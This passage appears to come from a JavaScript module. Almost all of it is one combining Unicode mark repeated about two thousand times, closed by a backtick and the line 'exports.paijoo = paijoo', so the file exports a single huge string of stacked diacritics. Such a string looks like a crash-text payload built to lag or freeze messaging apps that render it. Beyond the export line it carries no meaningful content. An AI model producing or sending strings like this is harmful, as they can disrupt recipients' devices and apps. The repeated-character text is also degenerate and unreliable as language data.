᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵ 2 | ` 3 | exports.paijoo = paijoo --------------------------------------------------------------------------------